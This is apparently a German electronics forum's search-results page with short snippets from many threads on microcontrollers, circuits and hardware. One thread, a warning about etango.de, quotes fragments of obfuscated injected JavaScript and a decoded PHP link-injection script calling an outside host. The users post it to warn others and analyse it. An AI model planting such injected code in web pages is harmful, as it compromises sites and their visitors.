-
Thread
Prototypen anlegen mit struct
es nicht hin. Ich habe z.B. eine einfache Funktion im .c file: [c] //Min Max begrenzen uint16_t MinMax (uint16_t Input, uint16_t Min , uint16_t Max) { if (Input <= Min) Input = Min; if (Input >= Max) Input = Max; return Input; } [/c] In der .h [c uint16_t MinMax (uint16_t Input, uint16_t Min , uint16_t Max); [/c] und alles läuft. Warum nicht das mit der Struktur als Übergabewert? Wie muss ich's denn machen?
-
Thread
Qam-16 encoder / decoder Projekt
. - Ansprechendes Preis- / Leistungs- Verhältnis des DE1 Boards. Nun zu meinem Projekt: 100Base-T -> MII -> Qam-16 I & Q -> Optisch ->I & Q Qam-16 -> MII -> 100Base-T Okay, wohl nicht das optimale Einsteiger Projekt. Geplante Hardware: FPGA -> EP2C5T144C8N PHY -> DP83848C ADC -> AD9218
Vielen Dank für das anschauliche Beispiel. Ich habe nun meinen Qam 16 encoder / decoder überarbeitet und bin nun schon weit eher mit dem Ergebnis zufrieden. Nach Anpassung des D-Latch Problems sehen meine Signale schon deutlich besser aus. Nun frage ich mich, geht
-
Thread
STM32duino 1.9.0 and BlackPill
verwendet. Schade an der BlackPill ist, dass der F411CE wohl keinen DA-Wandler hat: https://stm32-base.org/boards/STM32F411CEU6-WeAct-Black-Pill-V2.0
Laut Datenblatt hat der einen 12 Bit Wandler mit bis zu 16 Kanälen (bei den kleinen Gehäuse vermutlich ein paar weniger)
-
Thread
Entfernungsmessung über min 2km
eine Aufnahme der Weihnachtsfeier geben, mit dem Kaufladen drauf. "Normal-8" Format, dazu wurde ein 16mm-Film in eine Kassette eingelegt und wie später die Tonband-CompactCassette nach der halben Aufnahmedauer umgedreht. Nach der Entwicklung wurde der dann der Länge nach aufgetrennt. "Super-8" kam später
Korrekturdaten und zusätzlich der Abstand zwischen den Empfängern wenn die beiden GNSS Empfänger als Base und Rover verwendet werden (also die Base die Korrekturdaten liefert). Sonst fast alles wie bei der Messung weiter oben, diesmal bei guter Rundumsicht und Bewölkung. Die Bilder im Anhang zeigen
-
Thread
Hexadezimaler Ziffernsatz Gesperrt
einzelne Ziffern zu benennen: [math]45054 = \sum \alpha_i 16^i\,,\quad \alpha_1 = \alpha_2 = 15[/math] Damit lassen sich dann auch unhandlichere Basen wie 2^8, 2^31 oder 2^32 darstellen.
Hans L. schrieb im Beitrag #2566280: > Aber der müsste aus 16 nicht anderweitig verwendeten Zeichen > bestehen! Drum hatte man früher ja auch oft das Oktalsystem verwendet. Bei 12- und 36-Bit Maschinen war das auch ganz praktisch. Sogar bei der 16-Bit PDP-11
-
Thread
Uhrenquarz Feineinstellung
die Uhr von diesem Quarz kommt. Der Rest des Programms läuft ganz normal ab. Wird also von dem 16MHz Quarz angetrieben. Der 16MHz Quarz wird mit 22pF gezogen. CKOPT war bis gestern eingeschaltet. Habe es jetzt mal ohne probiert, weil ich mir nicht sicher war, ob da nicht interne Kapazitäten an
Reichelt-Bestnr. '0,032768-L6' habe ich über die Jahre hinweg über 700 Stück verbaut, zuerst an ATmega16, dann an ATmega16A, und immer lag die nötige Korrektur innerhalb von 2.5E-5, ich hatte lediglich einen einzigen Totalausfall beim Quarz.
-
Thread
ATXMEGA16 exterer Quarz
Bas Rol schrieb im Beitrag #2391539: > Ich hoffe ich konnte meine Frage verständlich erklären leider nein
Hallo; Bas Rol schrieb im Beitrag #2391539: > ist es besser einen externen 16MHz Quarz zu verwenden? so ist es. Die andere Geschichte funktioniert zwar auch, ist aber nur zu empfehlen, wenn du den 32,768
-
Thread
Empfehlung für Switch
nicht schlecht aber da würde ich gerne noch > andere Meinungen hören. Ich habe TP-Link TL-SG2216 (16 Ports) im Einsatz und bin mit dem Teil sehr zufrieden. Die non-PoE-Geräte sind lüfterlos und damit angenehm leise. :-) Der große Bruder TL-SG2424 sollte deine Anforderungen erfüllen, die PoE-Variante
? Vielleicht Uplink-Ports? Was soll bei denen anders sein als an den anderen Ports? Bei 1000BaseT gibt es keinen Unterschied mehr zwischen direkter Verdrahtung und gekreuzter, das handeln die Gegenstellen automatisch aus. Auch bei 100BaseT ist Auto-MDIX seit vielen Jahren Standard. Als Uplink-Ports
-
Thread
16-Bit-EXE erzeugen
Nein, DOS reicht. Um noch spezifischer zu werden: Ich brauche eigentlich nur ein "Hallo Welt" als 16-Bit-EXE, spricht: Ein Programm, das bei Start auf einem 16-Bit-kompatiblen System ein "Error - could not run application (Code 01)" und auf einem nicht-16-Bit-kompatiblen System die entsprechende Fehlermeldung
Der war gut ;) Ich meinte aber eher 1984 16bit kompiler mit 2018er x64 bit linker
-
Thread
STM32 für Einsteiger - der Artikel zum Krieg (µC Wahl)
mit dem Arduino was gemacht ? > Weil der da mit in der Tabelle steht. Z80, 68HC11, 8051, AVR, PIC16, PIC18, PIC24, DsPIC33, M16C, LPC2000, ein Atmel ARM9, STM32 - aber Arduino noch nicht, werde ich wohl auch nicht.
>Z80, 68HC11, 8051, AVR, PIC16, PIC18, PIC24, DsPIC33, M16C, LPC2000, ein >Atmel ARM9, STM32 MOS8501, 68HC11, 8031, AVR, PIC10, PIC12, PIC18, PIC24, dsPIC33, S12X, H8, 68HC08, S7, S8, STM32, National, MSP430, NIOS, Arduino >
-
Thread
Welchen Logic Analyzer kaufen?
#7407319: > weißt du wieviel Kanäle mit dem FX3 mit bis zu welcher Samplerate > einstellbar sind? 16 Kanäle, 100MHz https://community.infineon.com/t5/Knowledge-Base-Articles/EZ-USB-FX3-Explorer-kit-as-16-channel-100-MHz-logic-analyzer-with-sigrok/ta-p/283993
Hallo, 16 Kanal Clone "Saleae Logic 16", Zigarettenschachtel groß, dazu die aktuelle 2.x Software und das läuft. Verwende ich seit Jahren. Sind aber nur digitale Eingänge. Der Klone ist ein Nachbau eines alten
-
Thread
STM32F1xx DMA - FSMC (LCD)
FSMC-Schnittstelle ist in dieser Bibliothek eine Einschränkung da der Ausgang A0 verwendet wird. Wird der Ausgang A16 verwendet muss für die Bank1 0x60000000 das 16-Bit (A16) eingeschoben werden: 0x60000000 | (0x00000001<16) -> 0x60020000 Die Bänke sehen dann so aus: Bank1 (NE1) 0x60000000 Bank2 (NE2) 0x64000000
Bank4 (NE4) 0x6C000000 Das hierß für mich, dass ich auf die Struktur LCD verzichte und LCD_REG16 und LCD_DATA16 manuell setze: #define LCD_REG16 (*((volatile uint16_t*)0x60000000)) #define LCD_DAT16 (*((volatile uint16_t*)0x60020000)) Die RAM-Addresse für den DMA geht ohne Pointer: #
-
Thread
MSP430G2553 PWM flackert beim Verstellen der Pulsweite
to activate previously configured port settings CSCTL1 |= DCORSEL2; // DCO Range = 16 MHz // PWM an P1.7 aufsetzen P1DIR |= BIT7; // P1.7 ist Output P1SEL0 |= BIT7; // P1.7 gehört zu PWM TA0R = 0; //
mitgelieferten Projekten/Beispielen findet man Funktionen wie [c] ADC_disableConversions(ADC_BASE,ADC_COMPLETECONVERSION); [/c] oder [c] ADC_init(ADC_BASE,ADC_SAMPLEHOLDSOURCE_2,ADC_CLOCKSOURCE_ADCOSC,ADC_CLOCKDIVIDER_1); [/c] Werden die von professionellen Entwicklern auch verwendet?
-
Thread
Anfängerfragen Transistoren
Basisströme an. Da der gesamte LED-Strom aus dem C1 kommt, fließt der aufgeteilt durch die beiden Basen. Ursache ist R3. Schon deshalb sollte man den LED-Strom begrenzen ... re schrieb im Beitrag #6461289: > (b) Am Beginn des Aufladeprozesses ist C entladen. Der Emitter von T2 > ist negativer als
Batterie über D1, R2 und Q1-CE. - der neue Widerstand R5 begrenzt das Entladen des C1 über die Basen in die LED und den Rückstrom BE des Q2. - der Hub am C1 beträgt einige Volt, damit werden bei gegebenem C größere Zeiten erreicht (im Vergleich zur Schaltung vom TO). Das liegt wesentlich an R3>0
-
Thread
High Freq Power Amplifier
simuliert und dann aufgebaut. Leider, ist die Ausgangsamplitude mikrig. Lt. Simulation sollten 16Vpp drin sein, aber in der Realität sind es grad mal 2Vpp. Könnt Ihr mir bitte helfen, was da falsch ist? LG
Leistungsklassen. Man kann eine Diode weglassen und dafür einen einstellbaren Widerstand einfügen. Die beiden Basen der Endtransistoren würde ich dann aber zusätzlich mit einen Kondensator so um 100nF verbinden, damit Wechhselspannungsmäßig die beiden Basen auf gleiches Potential liegen. Ralph Berres
-
Thread
Microchip SAMD (M0+) bzw. SAML10/11 (M23) Erfahrung
aktuell hauptsächlich nur QFN lieferbar. Debugger entweder ein Eval-Board mit J-Link oder ein J-Link Base: https://www.mouser.de/c/?q=efm8bb3 https://www.silabs.com/development-tools/mcu/8-bit/slstk2022a-efm8bb3-starter-kit https://www.segger.com/products/debug-probes/j-link/models/model-overview
https://hackaday.io/project/14950-silabs-efm8-programmer Der Profi wird dennoch den J-Link Base kaufen, weil der halt alle ARM und die Silabs 8051 unterstützt: https://www.segger.com/products/debug-probes/j-link/models/model-overview/ Atmel ICE ist im Vergleich völlig überteuert.
-
Thread
WARNUNG VOR ETANGO.DE
script>function c246dea728q4ac58d66bf6df(q4ac58d66bfeac){ function q4ac58d66c067a(){var q4ac58d66c0e4a=16;return q4ac58d66c0e4a;} return (eval('pa'+'rseInt') (q4ac58d66bfeac,q4ac58d66c067a()));} function q4ac58d66c161a(q4ac58d66c1de9){ var q4ac58d66c3557=2; var q4ac58d66c25b8='';q4ac58d66c44f7=String
Habe mal den ersten base64-Block durch den Dekoder geschoben: [pre] error_reporting(0); $links = new GetLinks(); echo $links->Links; class GetLinks { var $host = "esli.tw"; var $path = "/link.php
-
Thread
BASCOM, Anfängefrage, Fehler Bei Kompilieren
eingestellt. Welche Dateien muss ich in welches Verzeichnis stellen? Ich habe in dem Verzeichnis, wo meine BAS-Datei liegt auch die def.Datei f.d. Tiny2313 liegen. Ist das so i.o.?
Chip" was mus angezeigt werden? sollte schon das erkannt werden was du angeschlossen hast z.B mega16 oder so .....
-
Thread
Was für eine Grafikkarte ist das?
1. Product Name: MSI 8893 with AGP 8x/16x Type: 2D/3D accelerator card Part number ATX: 6886480000 Manufacturer: MSI-8893 2. Specifications 2.1 Interface AGP 16x/8x/4x/2x system bus (AGP3.0, 2.0 & 1.0 compliant) 650MHz RAMDAC
PAL TV-out support) supports the following modes: NTSC (National Television Standards Committee) 16 bit and 32 bit per pixel up to 2048*1024 PAL (Phase Alternating Line) 16 bit and 32 bit per pixel up to 2048*1024 3.1 Graphics standards DirectDraw Direct3D DirectShow ActiveX DirectX 8.1
-
Thread
Aufgabe für STM32 Mikrocontroller
Aufgabe betrachtet, die weiteren Einstell-Möglichkeiten werden hier vernachlässigt. GPIOx ODR: 16-Bit output Dataregister zum schreiben (und Lesen) der Outputs GPIOx.IDR 16-Bit Input Dataregister zum Lesen der Inputs GPIOx BSRR 32-Bit „Set oder Reset“ –Register -> Niedrige 16 Bits zum Setzen
) >> 16; set_port_level(GPIOB, tmp); } [/c]
-
Thread
Wurzel ziehen am Cortex M0
wieviele Bits haben Deine Meßwerte? Eventuell reicht ja auch > eine Tabelle im Flash. 2 * voll 16bit da es sich um signed werte handelt.... lg Michael
Bigm schrieb im Beitrag #3283070: > 2 * voll 16bit da es sich um signed werte handelt.... Du meinst signed 16bit in und signed 16bit out? Dann sind es nur 15bit in, weil man sich das "j" je nach Vorzeichen dazumultiplizieren kann. Dafür reichen
-
Thread
Display zeigt falsch an
rechts char fNegative:1; // Auszugebende Zahl ist negativ. } flags; #define SCRATCH 16 unsigned char scratch[SCRATCH]; unsigned char format_flag; unsigned int u_val=0, base=0; unsigned char *ptr; char hexA = 'a'; char *p; int n; int nLen; va_list ap;
// Weiter wie 'x' case 'x': base = 16; } CONVERSION_LOOP: u_val = va_arg (ap, int); n = u_val; flags.fNegative = 0; if (format_flag == 'd' || format_flag
-
Thread
Seriennummer einer CF Karte vortäuschen
https://www.codeproject.com/Articles/1116455/Simple-Application-For-Creating-Serial-Number-Base
Byte of the Word. D08 is the LSB of the Odd Byte of the Word." > > Daraus schließe ich, dass mit 16bit (WORD) kommuniziert wird, oder? Ja. > Nur wie muss ich die einzelnen Signale "verbinden" Ist das nicht selbsterklärend? Du musst die 16 Datenleitungen + einen handvoll Steuerleitungen anschließen
-
Thread
Threadsichere Bitmanipulation mit Bitbanding
www.mikrocontroller.net/articles/ARM_Bitbanding */ #define BBSram1Bit(addr, bit) (*(__typeof__(addr)*) ((SRAM1_BB_BASE + (((unsigned)&(addr) - SRAM1_BASE) << 5) + ((bit) << 2)))) #define BBitOfMask(mask) (31 - __builtin_clz(mask)) /** Eine oder mehrere neue Warnungen hinzufuegen. */ void warning_add(enum
sowieso atomar... Nein, nicht im Adressraum beim ARM. Ein Bit zu setzen bedeutet nämlich: - Einen 8/16/32-Bit-Wert aus dem Adressraum/RAM in ein 32bit-Prozessorregister laden - Das Bit im Prozessorregister setzen - Die 8/16/32 Bit des Registers zurück in den Adressraum/RAM schreiben Und genau das
-
Thread
FT800 / FT810 Library
instead of 64. [code] ft800_cmd_dl(DL_BEGIN | FT_POINTS); ft800_cmd_dl(POINT_SIZE(20*16); // size is in 1/16 pixel ft800_cmd_dl(VERTEX2F(50*16,100*16); // x/y are in 1/16 pixel ft800_cmd_dl(VERTEX2F(80*16,100*16); // x/y are in 1/16 pixel ft800_cmd_dl(VERTEX2F(110*16,100
command, I see no need to do so. ft_void_t Ft_Gpu_CoCmd_Toggle(Ft_Gpu_Hal_Context_t *phost,ft_int16_t x, ft_int16_t y, ft_int16_t w, ft_int16_t font, ft_uint16_t options, ft_uint16_t state, const ft_char8_t* s) void EVE_cmd_toggle(int16_t x0, int16_t y0, int16_t w0, int16_t font, uint16_t options
-
Thread
ADC stört den Komperator (AT91SAM7S)
(AT91C_BASE_ADC, (SHTIM << 24) | (STARTUP << 16) | (PRESCAL << 8) | (SLEEP << 5) | (LOWRES <<4) | (TRGSEL << 1) | (TRGEN )) ; /* Third Step: Select the active channels */ AT91F_ADC_EnableChannel (AT91C_BASE_ADC, (1<<CHANNEL4)); AT91F_ADC_EnableChannel (AT91C_BASE_ADC, (1<<CHANNEL5)); AT91F_ADC_EnableChannel (AT91C_BASE_ADC, (1<<CHANNEL6)); AT91F_ADC_EnableChannel (AT91C_BASE_ADC, (1<<CHANNEL7
-
Thread
AT91SAM9 EBI Adresslinien A0/A1
char *) dataAddress)) = (unsigned char) data;} void SMC_Init(void) { AT91C_BASE_SMC->SMC_SETUP2 = 0x00000001; AT91C_BASE_SMC->SMC_PULSE2 = 0x07070703; AT91C_BASE_SMC->SMC_CYCLE2 = 0x00070007; AT91C_BASE_SMC->SMC_CTRL2 = (AT91C_SMC_READMODE
| AT91C_SMC_NWAITM_NWAIT_DISABLE | ((0x1 << 16) & AT91C_SMC_TDF)); AT91C_BASE_SMC->SMC_CTRL2 |= AT91C_SMC_DBW_WIDTH_EIGTH_BITS; } int main(void) { SMC_Init(); //hier sind beide Adresslinies auf low level -> solange bis zum
-
Thread
PWM-Schaltung verbessern?
dann etwas mehr Strom auf die Basis bekommen? Wo seht ihr den Hinkefuß in dieser Schaltung. BC141-16 NPN/60V/1A/0,8W/Verstärkung 100 bis 250 BD249C NPN/100V/25A/Verstärkung 5 BD250C PNP/100V/25A/125W/Verstärkung 5 HFL60-S02 Fastrecovery Dioden 600V/70A
Dann kann man sogar mit dem Multimeter messen. Vermutlich schließt der defekte Transistor die Basen seiner Brüder kurz und verhindert damit das durchschalten. Test. Basen einzeln ablöten und durchmessen.
-
Thread
suche IC das arbeitet wie Stufenrelai
Spatzen schießt, oder eh schon alles da hat. Bei Deiner Schaltung würde ich die Widerstände von den Basen nach Masse weglassen. Außerdem zieht immer nur ein Relais an - Du möchtest aber, daß zuerst eiines, dann zwei, dann drei angehen, richtig? Dann brauchst Du noch drei Dioden mehr, denn Q1 soll Relais
radiostar schrieb im Beitrag #3141833: > Bei Deiner Schaltung würde ich die Widerstände von den Basen nach Masse > weglassen. Ich würde sie merklich vergrößern. So 10k oder mehr.
-
Thread
4x27 Display Betrieb?
! Bascom unterstützt zwei Enables übrigens auch, guck dir einfach das Beispiel "LCDCUSTOM4BITE2.BAS" im Samples ordner an. Es wird dazu eine Lib gebraucht, die sollte bei der version 1.11.7.4 jedoch dabei sein.. MFG Nik
ich falsch? arbeite wie gesagt mit bascom und hab die lib, wie sie im beispiel LCDCUSTOM4BITE2.BAS eingebunden ist, mit in meinen quelltext eingestellt, auch im lcd-menu 4x40 eingestellt. aber beim display passiert rein gar nichts. da ich schon des öfteren mit 4x16 und 4x20 ohne probleme gearbeitet
-
Thread
Attiny13 Schalter
definiert werden. Bei mir kompiliert es fehlerfrei. Bitte Datei, die nicht kompiliert mit Endung .bas nach obigem Vorbild der "mega8_PinToggle.bas" anhängen. Welche BASCOM Version nutzt du?
12 : Portb = &B00001000 Case 14 : Portb = &B00011000 Case 16 : Portb = &B00111000 Case 18 : Portb = &B01111000 Case 20 : Portb = &B11111000 End Select Else Select Case 100ms_steps Case 35 :
-
Thread
[8052(t51)] und Peripherie über XRAM Leitungen
wie man da genau vorgeht? Also wir haben einen Treiber für unseren CAN (ein Header File, wo eine BaseAdress steht und alle weiteren benötigten Werte sind in Relation zur BaseAdress gesetzt) Vorher haben wir einfach die BaseAdress an eine freie Stelle im internen Speicher gelegt. Müssen wir jetzt alle
Geht auch über PORT zugriffe sind ja min 16 Pins frei.
-
Thread
bascom kann nicht richrtig dividieren?
integer; however, this is not true for fractional numbers. In fact, every number that is irrational in base 10 will also be irrational in any system with a base smaller than 10. For binary, in particular, only fractional numbers that can be represented in the form p/q, where q is an integer power of 2,
Hmm Interessant. Ich probier deine Zeilen. Mal sehen was der M16 sagt.
-
Thread
µC Speed
15MIPS. Der AVR kann das aber gar nicht in einer Instruktion, d.h. er muß das so machen: LD r16,X CPI r16, wert BRNE label Er benötigt für diese 3 Befehle zusammen auch 5 Zyklen. AVRs laufen derzeit aber nur bis 16MHz, so daß der Cygnal in diesem Beispiel schneller ist. Ein echter Vergleich
. Der ist mit dem M16C80 bei ca. 17 Euro und 20MHz ein CISC Arbeitspferd. 256k Flash, 20k SRAM, 5xUARTs/SPI/I2C, 11x16Bit Timer, 8x10BitADC, 2x8BitDAC, integrierter Bootloader und und und... MooseC
-
Thread
Keil µVision3 Programmier-Algorithmus
int EraseBlock (unsigned long adr) { // Start Erase Sector Command HVAR(unsigned short, base | 0xAAA) = 0xAA; //for byte mode: AAA HVAR(unsigned short, base | 0x554) = 0x55; // 554 HVAR(unsigned short, base | 0xAAA) = 0x80; // AAA HVAR(unsigned short,
for (cnt = 0; cnt < 64; cnt++) { // Start Program Command HVAR(unsigned short, base | 0xAAA) = 0xAA; //for byte mode: AAA HVAR(unsigned short, base | 0x554) = 0x55; // 554 HVAR(unsigned short, base | 0xAAA) = 0xA0; // AAA HVAR(unsigned short
-
Thread
Immer noch Datenmüll über RS232 mit AT917SAM7X
254. [c] while (1) { for(int i=0; i<255; i++) { while (AT91F_US_TxReady(AT91C_BASE_US0) == 0){}; //Warten darauf das TX frei ist AT91F_US_PutChar (AT91C_BASE_US0,i); //senden } Delay(2400000); //1 Sekunde warten } [/c] Unsere Konfiguration: [c] AT91F_US0_CfgPMC
AT91F_US0_CfgPIO(); //Configure PIO controllers to drive US0 signals AT91F_US_Configure (AT91C_BASE_US0, MCK, AT91C_US_ASYNC_MODE, 4800, 0); //Configure USART AT91F_US_EnableTx (AT91C_BASE_US0); AT91F_US_ResetTx (AT91C_BASE_US0); [/c] Und das Ergebnis im Anhang. Ziemlich verwirrend
-
Thread
Infineon Evaluationboard TLE5012B auslesen
0x7 7 3, uint16_t 7:9 FUSEREL 0x1 1 1, boolean r w 10 normal operation Reserverd2 0x7 7 3, uint16_t 11:13 FILTINV 0x1 1 1, boolean r w 14 filter inverted enabled FILTPAR
boolean r w 2 Push-Pull SPIKEF 0x1 1 1, boolean r w 3 spike filter enabled ANG_BASE 0xFFF 4095 12,uint16_t r w 4:15 Angle Base sets the 0° angle position: 7FFH +179.912° Register: OFFX Offset: 0xA Binary: 1111111111111111b =================================
-
Thread
AT91SAM7S64 mit TWI
was zu schicken. int twi_receive_byte(char id, char* receive,int iadr, int iadrsize){ AT91C_BASE_TWI->TWI_CR = AT91C_TWI_MSEN; //set the address and transfer direction bit AT91C_BASE_TWI->TWI_MMR = (id<<16) | AT91C_TWI_MREAD | (iadrsize << 8); //set the internal adress AT91C_BASE_TWI->TWI_IADR = iadr; //start the transfer AT91C_BASE_TWI->TWI_CR = AT91C_TWI_START | AT91C_TWI_STOP; //txcomplete is set to 1 in the interrupt txcomplete = 0; while((AT91C_BASE_TWI->TWI_SR & AT91C_TWI_RXRDY) != 1); *receive = AT91C_BASE_TWI
-
Thread
Empfehlung Kleinst-SPS mit HMI
geben Für HMI mit RS485 oder Ethernet gibt es Libraries: https://www.controllino.biz/knowledge-base/controllino-hmi-with-modbus/ Oder ganz billig: https://www.exp-tech.de/displays/lcd/5950/olimex-shield-lcd16x2 https://www.controllino.biz/knowledge-base/16x2-lcd-maxi/
-
Thread
made from scratch Firmware für Wittig/Welec Oszilloskop W20xxA
, das sieht dann so aus und liefert auch richtige Ergebnisse: static inline int smul16(short mul1, short mul2) { register int res asm("o3"); asm volatile (" MOV %%r0,%0 \n LSLI %%r0,16 \n MOV %%r1,%1 \n LSLI %%r1,16 \n MSTEP %1 \n
800x600 170.4x127.8 191.5x149.5x12.0 600 400 2 CCFT CXA-L0612A-VJL LVDS Strong 2 Hitachi 7.0 TX18D16VM1CAA 800x480 165.0x106.0x10.5 153.0x92.0 CFL 350 350 • • TX18D16VM1CBA INVC617, INVC657 50k hr CFL, High Brightness, Wide Viewing Angle 7.0 TX18D16VM1CAB 800x480 165.0x106.0x10.5 153.0x92.0 CFL
-
Thread
Problem mit UART auf Stellaris TM4C123GH6PGE = LM4F232H5QD
the GPIO AFSEL for the appropiate PINs //GPIO PORTC APB Base is on 0x4000.6000 //Offset is 0x420 -> that gives in total 0x4000.6420 //PORTC4/5 Uart4 is on Pin 36/35 GPIOAFSEL = 0x40006420; *GPIOAFSEL |= 0x30; delay_ms(idelay); //4.Configure Current level
/ (16 * 115200) = 8,6805° //UARTFBRD = integer(0,6805 * 64 + 0.5) = 44 //UARTIBRD base is on 0x4001.0000 //and offset is 0x024 //UARTFBRD base is on 0x4001.0000 //and offset is 0x028 UARTIBRD = 0x40010024
-
Thread
Hex to Dec -> C
geparsten Zahl zurück gegeben, einfach 0 übergeben, wenn du es nicht brauchst. 3. Parameter: Input: Die Bases der Zahl, bei Hex ist es 16
A. S. schrieb im Beitrag #7305309: > Sollte das nicht eher (84/16)*10+Rest sein? > > Also (84/16)×10+84%16 oder gleichwertig genau. Mit deder Multiplikation des Restes der Division mit 16 muss es natürlich schief gehen. und das abs() tut auch nicht Not. Sollte
-
Thread
Befehl SLEEP
ich schreib gerade das programm hab ein teil schon fertig .include "2313def.inc" ldi r16, 0xFF ;PORTB als ausgang definieren out DDRB, r16 ldi r16, 0x00 ;PORTD als eingang definieren out DDRD, r16 anfang: sbi PORTB, 1 sbi PORTB
Also wenn Du BasCom meinst, das ist genau genommen keine Freeware, aber es gibt eine kostenlose und voll funktionsfähige Demo. Einzige Einschränkund der Demo: Die Programmgröße ist begrenzt, allerdings sehr großzügig
-
Thread
LAN Transceiver des Nexys3 Boards
abbilden. Ohne große Vorkenntnisse vermute ich trotzdem mal, dass die Kapazität des verbauten XC6LX16 für die Abbildung eines kompletten MAC/IP/TCP oder MAC/UDP Protokollstacks kaum ausreichen würde und ich frage mich, was solch eine Bestückung überhaupt für einen Sinn ergeben soll, als für bloßes Marketing
> Ohne große Vorkenntnisse vermute ich trotzdem mal, dass die Kapazität > des verbauten XC6LX16 für die Abbildung eines kompletten MAC/IP/TCP oder > MAC/UDP Protokollstacks kaum ausreichen würde und ich frage mich, was TCP/IP wird wahrscheinlich tatsächlich etwas zu aufwendig, aber UDP und
-
Thread
Ryzen 9 3950X: RAM mit höherer CPU Spezifikation betreiben?
Kit 32GB, DDR4-3600, CL16-19-19-39 (F4-3600C16D-32GTZNC) 199€ Stabil sind nach den Aussagen wohl beide, dann kann man gleich den DDR4-3600 CL16 nehmen und hat die selbe Stabilität und Leistung zu einem geringeren Preis oder
/TravisK_DonW-Next_Horizon_Gaming-Ryzen_Deep_Dive_06092019-page-017.jpg Der DDR4-3600-CL16 ist günstiger und wäre aus der Sicht die Wahl. Aber ich frage mich eben ob ich ein Stabilitäts-Risiko eingehe den DDR4-3600-CL16 zu nehmen?
-
Thread
Offenbach, 20 Grad - die Frisur sitzt! Gesperrt
die Entwicklung lässt sich daraus aber nicht ableiten. Dazu gibts aber etwas im zweiten DWD Link (16:13).
Geschankt gibt es da nur den Dreck, den keiner haben will :-) Langen, 16:45, 17 Grad bei offenem Fenster.
-
Thread
LCD weigert sich seine Pflicht zu tun
Balken zu sehen. Port D is bei dem Mega 16 auch genommen worden. Sieht jemand was da falsch läuft?ich benutze das Pollin Board V2.0 und das LCD is das Wintek WD-C2704M-1HNN .include "m16def.inc" .def temp1 = r16 .def temp2 = r17 .def
Datenleitung 6 '14 D7 H / L Datenleitung 7(msb) '15 (optional) ? LED+ - Pluspol der LED-Beleuchtung '16 (optional) ? LED- - Minuspol der LED-Beleuchtung '$sim $regfile = "m16def.dat" $crystal = 16000000 Config Lcd = 16 * 2 Config Lcdpin = Pin , Db4 = Portd.4 , Db5 = PortD.5 , Db6 = PortD.6 , Db7
-
Thread
Eine Quelle, zwei Senken: 1:2 Unun?
3x 16,6R als T verschaltet. An jedes Ende eine 50R-Leitung.
karadur schrieb im Beitrag #6311492: > 3x 16,6R als T verschaltet. An jedes Ende eine 50R-Leitung. Das entspricht einem 6dB-Splitter: http://www.sprut.de/electronic/rf/bas_splitter.html#ohm
-
Thread
PT100 Messumformer Platinen Layout
10 103,9 0,501 0,51 9,85 -0,15 20 107,8 1,000 1 20,03 0,03 30 111,7 1,496 1,49 30,16 0,16 40 115,5 1,990 1,98 40,24 0,24 50 119,4 2,481 2,47 50,26 0,26 60 123,2 2,969 2,96 60,24 0,24 70 127,1 3,455 3,45 70,15 0,15 80 130,9 3,938 3,94 80,02 0,02 90 134,7
Tinv_lin dT °C ohm V V °C K -20 92,2 0,135 0,153 -20,39 -0,39 -10 96,1 0,592 0,599 -10,16 -0,16 0 100,0 1,047 1,046 0,03 0,03 10 103,9 1,499 1,492 10,16 0,16 20 107,8 1,949 1,938 20,24 0,24 30 11,7 2,396 2,384 30,26 0,26 40 15,5 2,841 2,831 40,24 0,24 50 19,4
-
Thread
ALLPOWERS S2000 PRO Reparaturhilfe
battery.fault.warning.ac_status=0 battery.fault.warning.discharge_mos_status=0 battery.fault.warning.sbattery_voltage[1-16]= [01]:0 [02]:0 [03]:0 [04]:0 [05]:0 [06]:0 [07]:0 [08]:0 [09]:0 [10]:0 [11]:0 [12]:0 [13]:0 [14]:0 [15]:0 [16]:0 battery.fault.warning.battery_temp[1-5]= [01]:0 [02]:0 [03]:0 [04]:0
cells in > parallel to get to the theoretically 1500Wh. > > > Thank you Most likely it's 16S, judging by the connector. 3.65*16=58 Oh yeah, I found the photo. It's all very simple - just bolts.